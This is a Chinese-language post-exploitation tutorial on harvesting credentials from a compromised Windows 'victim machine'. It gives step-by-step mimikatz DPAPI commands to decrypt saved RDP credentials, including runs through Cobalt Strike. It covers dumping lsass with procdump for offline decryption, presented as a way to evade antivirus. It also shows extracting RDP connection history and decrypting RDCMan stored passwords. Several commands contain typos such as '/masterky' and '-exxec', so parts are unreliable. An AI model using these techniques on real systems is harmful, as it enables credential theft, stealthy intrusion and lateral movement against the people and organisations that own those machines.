14.受害机Credentials解密、RDP连接记录获取和RDCMan密码获取


一、受害机Credentials解密之RDP

 

Credentials的解密是Windows系统信息收集中非常重要的一环,其中包括各类敏感、重要的凭证(这个可以理解为密码),这里我们就以RDP的密码来引入

 

1、可破解的原理:

在我们点击保存密码后,Windows就通过MasterKey将我们的密码加密后保存在本地,由于Windows还需要解密从而使用,所以这个过程是可逆,也正因为这一缘由,我们只要拿到MasterKey就能将密码解出来。

 

2、保存在本地的RDP密码:

注意:这一系列操作都是要在该用户的session下操作的,不能在system的session下操作,因为system是不会去连接RDP后保存的密码的。我们可以先去mstsc尝试远程连接,并勾选保存凭据,记住保存的时间,一会我们根据时间找文件

 

保存的凭据是放在C:\Users\<username>\AppData\Local\Microsoft\Credentials,可以在命令行用dir /a 命令查看:

 

也可以通过cmdkey /list 查看当前用户保存的凭据,其中Domain Password(即域密码)就是我们要的可以尝试登录的RDP密码,当然也可以通过SMB登录

 

3、解密:

 

①  先获取该文件的MasterKey的guid:

mimikatz "dpapi::cred /in:C:\Users\ASUS\AppData\Local\Microsoft\Credentials\7126E91520138D9EB38B118734191EBB" "exit"

 

所以用于加密凭据文件7126E91520138D9EB38B118734191EBB的MasterKey的guid就是:{b6e84104-e55c-42e5-af1d-e821429dd3d6},所以我们只要从内存中找到这个guid对应的MasterKey的值即可

 

②  通过guid获取对应的MasterKey值:

mimikatz "privilege::debug" "sekurlsa::dpapi" "exit"

 

在输出的结果中通过guid找到对应的MasterKey:

 

③  最后打开mimikatz通过MasterKey值去解密凭据文件:

dpapi::cred /in:凭据文件路径 /masterky::masterky值

如:

dpapi::cred /in:C:\Users\ASUS\AppData\Local\Microsoft\Credentials\7126E91520138D9EB38B118734191EBB /masterky:71161f3a0301c03abd237c53c393693a2dbb4a02544e3589e162a9e6c842156e8714f7257caee635367938671028cac057d2a5b002a5669198800cc830eb5c98

 

4、Cobalt Strike下的操作:

因为我们⼀般不会把mimikatz上传到⽬标,所以我们可以借⽤Cobalt Strike的mimikatz来进⾏这⼀系列操作。但是cs的操作跟我们的直接在mimikatz终端是不太⼀样

 

①  cs在获取了绕过UAC的管理员权限之后是不需要执⾏

   privilege::debug

 

②  在cs上执⾏mimikatz是不⽤ exit的

 

③  双引号⾃⼰根据实际情况增删

如:

Mimikatz dpapi::cred /in:C:\Users\ASUS\AppData\Local\Microsoft\Credentials\7126E91520138D9EB38B118734191EBB /masterky:71161f3a0301c03abd237c53c393693a2dbb4a02544e3589e162a9e6c842156e8714f7257caee635367938671028cac057d2a5b002a5669198800cc830eb5c98

 

 

二、离线解密目标Credentials【免杀一切】:

 

 

由于我们不能保证我们的mimikatz是免杀状态,为了避免被对方发现,我们可以离线解密从而达到获取密码的目的

 

1、离线解密目标credentials的原理:

其实很简单,就是把目标的文件和内存下载回来,在vps或本机上进行mimikatz解密即可。

 

2、具体操作

①  下载目标内存:

procdump64.exe -accepteula -ma lsass.exe lsass1.dump

 

②  下载目标的Credentials文件:

目标Credentials文件在C:\Users\<username>\AppData\Local\Microsoft\Credentials,如果目标有多个用户,就需要将多个用户的文件下载回来,如果该用户没有登陆的话,我们是没有办法解密的,因为此时该用户的MasterKey并没有分配到内存。

 

这里忘了说了,这个credentials目录下的内容是隐藏的,需要取消勾选这个选项从而显示文件:

 

③  用mimikatz载入dump回来的内存:

Sekurlsa::minidump lsass1.dump           // lsass1.dump是内存文件名,随便取的

 

④  获取Credentials的GUID:

 

到了这一步,后面的就和在线获取差不多了。

我们可以输入dpapi::cred /in:DFBE70A7E5CC19A398EBF1B96859CE5D来获取GUID(这里由于我把Credentials文件放在mimikatz同目录下,所以我用的相对路径)

得到:guidMasterKey  :   {3a1a9d6b-6bca-4f4a-9e94-831967345b88}

 

⑤  获取内存中所有的MasterKey,并通过GUID对比得出想要的那一个:

命令:sekurlsa::dpapi

 

⑥  利用MasterKey解密

dpapi::cred /in:DFBE70A7E5CC19A398EBF1B96859CE5D /masterkey:568359fcc7e914452a21a009fd0ee4dc70087a525b3aeafe63de6e1c395ac5486152c6b90fbb8f8de73e0a9e508d8656bc9fac0576e67141f5d828596a7c279e

 

 

三、RDP连接记录获取和RDCMan密码获取

 

 

1、RDP连接记录:

在渗透的过程中,我们最希望的还是获取一些RDP的记录和凭证,说不定能上邮件服务器、OA、杀软服务器,而每当管理员使用mstsc连接过远程桌面却没有手动删除时都会留下记录的,我们渗透时要的就是这个记录

 

2、RDP连接记录的获取:

 

①  手动读取注册表:

reg query HKEY_USERS

 

得到当前用户的SID后继续读取:

 

然后接着读取(注意,读取的路径除了SID因为用户不一致,其他的都是一样的;这里有双引号是因为有空格避免报错):

 

然后我们继续在命令中加上这两个枚举出来IP就可以了,我这里是没有保存密码的,如果有密码会多处一行CertHash的内容:

 

②  Powershell:

所有的工具、脚本都是操作系统来执行而已,该脚本也是代替人工执行cmd选择,加快速度。

 

列出当前用户的连接记录:

https://raw.githubusercontent.com/3gstudent/List-RDP-Connections-History/master/ListLogged-inUsers.ps1

命令:powershell -exxec bypass -f ListLogged-inUsers.ps1

 

列出所有用户的连接记录(这个要绕过UAC权限):

https://raw.githubusercontent.com/3gstudent/List-RDP-Connections-History/master/ListAllUsers.ps1

命令:powershell -exxec bypass -f ListAllUsers.ps1

 

2、关于RDCMan:

 

RDCMan全称Remote Desktop Connection Manager(多远程桌面管理)是微软Windows Live体验团队的主要开发者Julian Burger开发的一个远程桌面管理工具。RDCMan可以集中管理、分类、组织远程桌面,相比Windows系统自带的远程桌面管理工具mstsc.exe要更方便、省时的多,尤其是你管理大量服务器或同时连接多台服务器进行操作、切换工作是。官方下载链接为:https://www.microsoft.com/en-us/download/details.aspx?id=44989

虽然官方的下载链接已经失效了,但由于这款工具实在好用,不少管理员还是喜欢的。

 

①  获取连接记录:

该工具的连接记录是保存在*.rdg文件里的,在之前列出全盘文件列表可以查找到:

 

②  获取密码:

这个工具的密码的保存分在两个地方,一个是全局文件,另一个是用户保存的rdg文件。

全局文件路径在文件的安装目录下,如果是默认的安装路径,则是:C:\Users\Hacker\AppData\Local\Microsoft\RemoteDesktopConnectionManager\RDCMan.settings,也可以直接搜索文件名称。

 

③  解码:

虽然密码保存的位置不同,但是解码原理都是一样的,都是利用DPAPI,所以我们可以利用一下几种方式解密:

 

Ⅰ  C#:

项目地址:https://github.com/winterific/RDCManTest

修改MainTest.cs的代码为:

 

并把输出类改为:控股台应用程序,假设编译初的文件名是RDCManTest.exe

 

我们就把RDCManTest.exe和RDCMan.dll放到目标取,然后进入cmd下执行:RDCManTest.exe hash

RDCMan.dll的出处:可以直接把目标的rdcman..exe复制为RDCMan.dll

 

Ⅱ  利用powershell:

保存为ps1文件,执行:powershell -exec bypass -f DecryptRDCMan.ps1 ,具体细节看代码即可。

 

Ⅲ  mimikatz:

dpapi:rdg /in:c:\users\hacker\desktop\4.rdg /unprotect

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM